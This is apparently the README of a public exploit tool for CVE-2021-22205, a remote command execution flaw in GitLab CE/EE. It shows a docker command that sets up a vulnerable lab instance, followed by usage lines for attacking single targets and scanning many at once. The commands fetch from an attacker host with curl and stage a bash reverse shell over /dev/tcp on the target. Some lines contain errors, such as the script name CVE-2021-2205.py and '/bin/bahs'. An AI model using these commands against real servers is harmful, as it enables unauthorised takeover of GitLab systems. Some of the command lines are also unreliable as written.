devdanqtuan/cve-2021-22205Python exploit for CVE-2021-22205, a remote command execution vulnerability in GitLab CE/EE. Supports single-target exploitation, batch scanning, and reverse shell delivery.
An issue has been discovered in GitLab CE/EE affecting all versions starting from 11.9. GitLab was not properly validating image files that were passed to a file parser which resulted in a remote command execution.
export GITLAB_HOME=/srv/gitlab
sudo docker run --detach \
--hostname gitlab.example.com \
--publish 443:443 --publish 80:80 \
--name gitlab \
--restart always \
--volume $GITLAB_HOME/config:/etc/gitlab \
--volume $GITLAB_HOME/logs:/var/log/gitlab \
--volume $GITLAB_HOME/data:/var/opt/gitlab \
gitlab/gitlab-ce:13.9.1-ce.0
python3 CVE-2021-2205.py
python3 CVE-2021-2205.py -v true -t http://gitlab.example.com
python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "curl http://192.168.59.1:1234/1.txt"
python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "echo 'Attacked!!!' > /tmp/1.txt"
python3 CVE-2021-2205.py -s true -f target.txt
python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "echo 'bash -i >& /dev/tcp/ip/port 0>&1' > /tmp/1.sh"
python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "chmod +x /tmp/1.sh"
python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "/bin/bahs /tmp/1.sh"